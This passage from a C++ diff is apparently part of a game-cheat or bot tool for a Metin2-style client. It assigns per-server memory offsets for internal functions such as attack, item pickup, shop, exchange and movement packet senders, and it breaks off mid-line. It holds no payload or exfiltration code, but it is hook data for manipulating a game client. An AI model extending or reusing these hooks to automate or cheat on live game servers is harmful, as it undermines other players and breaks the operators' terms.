Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x20424e0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x1e837d0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x1e83880; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x1e83730; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x1ea1df0; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x1e847b0; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x1e84400; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x1ea1d30; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x1ea1610; // [100 ] [1 / 1] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x1ea1cb0; // [100 ] [1 / 1] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x1e96c80; // [100 ] [1 / 1] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x2037a70; // [100 ] [1 / 1] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x2047a80; // [100 ] [1 / 1] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x1ea5e20; // [100 ] [1 / 1] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x1fe98a0; // [100 ] [1 / 1] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x1f7c280; // [100 ] [1 / 1] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1f7b680; // [100 ] [1 / 1] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x1fe9a70; // [100 ] [1 / 1] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x1fe9ae0; // [100 ] [1 / 1] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x1fe9cf0; // [100 ] [1 / 1] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x1fe9d30; // [100 ] [1 / 1] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x1fe9db0; // [100 ] [1 / 1] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x2058ab0; // [100 ] [1 / 1] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x1f59670; // [100 ] [1 / 1] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x1f58ee0; // [100 ] [1 / 1] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x1eb2fc0; // [100 ] [1 / 1] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x1f17270; // [100 ] [1 / 1] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x1ebff50; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x1f7b810; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1f7ba20; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x1f85c40; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x1f853a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1f85411; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x1f87780; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x1f7b200; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x1f858a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x1f85740; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x1f856c0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x1f869d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x1f86a30; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x1f9a300; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x1f9a3f0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x1f9a590; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x1f9a0b0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x1f85b60; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x1f85960; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x1f85cc0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x1f9a7b0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x1f9a750; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x1f9a8e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x1f850e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x1f85570; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x1f878a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x1f7dd90; // [100 ] [1 / 1] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x1ed53b0; // [100 ] [1 / 1] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x1ef7ec0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1edc620; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1edc8e0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1edbd40; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x1f529a0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x1edbfd0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x1edc1e0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1ee4550; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x1edd600; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x1edd630; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x1ee3f30; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1edb640; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x1ee5660; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x1ee42a0; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x1ee4820; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x1ee4640; // [100 ] [1 / 1] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x1ff1f00; // [100 ] [1 / 1] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x1fed040; // [100 ] [1 / 1] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x2000c50; // [100 ] [1 / 1] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x20970a0; // [100 ] [1 / 1] + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x1fea2f0; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x1ea1160; // [100 ] [1 / 1] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x1ea1e30; // [100 ] [1 / 1] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x1e88d80; // [100 ] [1 / 1] + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x1ff1be0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x1edc820; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x1edc930; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x1f9a210; // [100 ] [1 / 1] + break; + } + case ServerName::GLEVIA: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x31eac0; // Rate: 100 + //Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x2c0c80a; // Rate: 100 + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x1af240; // Rate: 100 + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x31e6d0; // Rate: 100 + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x31e700; // Rate: 100 + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x160710; // Rate: 100 + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x1607c0; // Rate: 100 + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x1606b0; // Rate: 100 + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x181730; // Rate: 100 + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x161600; // Rate: 100 + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x161210; // Rate: 100 + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x181670; // Rate: 100 + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x180f80; // Rate: 100 + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x1815f0; // Rate: 100 + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x174e40; // Rate: 100 + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x313e40; // Rate: 100 + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x321de0; // Rate: 100 + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x1ad640; // Rate: 100 + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x2ba810; // Rate: 50 + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x2ba910; // Rate: 50 + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x210cc0; // Rate: 100 + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x20ff20; // Rate: 100 + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x2baaa0; // Rate: 100 + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x2bacb0; // Rate: 100 + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x2bacf0; // Rate: 100 + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x2baa30; // [100 ] [1 / 1] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x2bad70; // Rate: 100 + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x338f20; // Rate: 100 + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x19f1f0; // Rate: 100 + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x19ef40; // Rate: 100 + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x1bb1f0; // Rate: 100 + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x1c9430; // Rate: 100 + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x1c8290; // Rate: 100 + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x1daf70; // Rate: 100 + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x2100a0; // Rate: 100 + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x2102c0; // Rate: 100 + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x21b810; // Rate: 100 + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x21aeb0; // Rate: 100 + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x21af10; // Rate: 100 + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x21af11; // Rate: 100 + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x21cc40; // Rate: 100 + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x20faa0; // Rate: 100 + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x21b410; // Rate: 100 + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x21b240; // Rate: 100 + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x21b1c0; // Rate: 100 + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x21c540; // Rate: 100 + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x21c650; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x22fc00; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x22fc80; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x22fe40; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x22f990; // Rate: 100 + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x21b6d0; // Rate: 100 + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x21b4d0; // Rate: 100 + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x21b890; // Rate: 100 + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x230030; // Rate: 100 + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x22ffd0; // Rate: 100 + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x230160; // Rate: 100 + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x21aab0; // Rate: 100 + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x21b070; // Rate: 100 + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x21ce80; // Rate: 100 + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x2121a0; // Rate: 100 + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x234ca0; // Rate: 100 + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x259210; // Rate: 100 + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x244ee0; // Rate: 100 + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x2451c0; // Rate: 100 + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x244670; // Rate: 100 + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x2448a0; // Rate: 100 + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x244900; // Rate: 100 + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x244b00; // Rate: 100 + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x24cac0; // Rate: 100 + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x245fb0; // Rate: 100 + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x245fe0; // Rate: 100 + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x24c4c0; // Rate: 100 + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x243fc0; // Rate: 100 + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x24da30; // Rate: 100 + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x24c830; // Rate: 100 + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x24cdc0; // Rate: 100 + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x24cbd0; // Rate: 100 + //Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x8ad70; // Rate: 100 + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x70450; // [100 ] [1 / 1] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x2c1370; // [100 ] [1 / 1] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x2e9770; // [100 ] [1 / 1] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x370a60; // Rate: 100 + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x2d65a0; // Rate: 100 + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x180ad0; // Rate: 100 + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x181770; // Rate: 100 + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x164de0; // Rate: 100 + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x2c6e30; // Rate: 100 + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x2450e0; // Rate: 100 + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x245210; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x22fb00; // Rate: 100 + break; + } + case ServerName::KEVRA: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x340a70; // [100 ] [1 / 1] + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x180670; // [100 ] [1 / 1] + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x1157f0; // [100 ] [1 / 1] + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x115830; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x113f30; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x113fe0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x113df0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x1394d0; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x1155b0; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x115110; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x139410; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x1389c0; // [100 ] [1 / 1] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x139390; // [100 ] [1 / 1] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x12b4c0; // [100 ] [1 / 1] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x333070; // [100 ] [1 / 1] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x344650; // [100 ] [1 / 1] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x17e780; // [100 ] [1 / 1] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x2b9390; // [100 ] [1 / 1] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x1f86e0; // [100 ] [1 / 1] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1f7a60; // [100 ] [1 / 1] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x2b95d0; // [100 ] [1 / 1] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x2b9640; // [100 ] [1 / 1] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x2b9890; // [100 ] [1 / 1] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x2b98e0; // [100 ] [1 / 1] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x2b9970; // [100 ] [1 / 1] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x3638a0; // [100 ] [1 / 1] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x160d00; // [100 ] [1 / 1] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x1605d0; // [100 ] [1 / 1] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x18d700; // [100 ] [1 / 1] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x19cb60; // [100 ] [1 / 1] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x1b33a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x1f7c00; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1f7e20; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x205ea0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x204d70; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x204dd0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x208e80; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x1f7560; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x2052a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x205140; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x2050c0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x206c30; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x206c90; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x218040; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x218130; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x2182e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x217df0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x205bd0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x2053d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x205f20; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x2184d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x218470; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x2186e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x204ac0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x204f30; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x208fa0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x1fada0; // [100 ] [1 / 1] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x21ef80; // [100 ] [1 / 1] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x240680; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x2278e0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x227e10; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x226ca0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x226ed0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x226F30; + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x227150; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x231cf0; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x228d60; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x228d90; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x2316d0; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x226550; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x233350; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x231a40; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x231fc0; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x231de0; // [100 ] [1 / 1] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x2e8160; // [100 ] [1 / 1] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x2c3e80; // [100 ] [1 / 1] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x2c6a90; // [100 ] [1 / 1] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x3A7CD0; + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x2dc940; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x138510; // [100 ] [1 / 1] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x139510; // [100 ] [1 / 1] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x11c8f0; // [100 ] [1 / 1] + Globals::pCResourceReload = 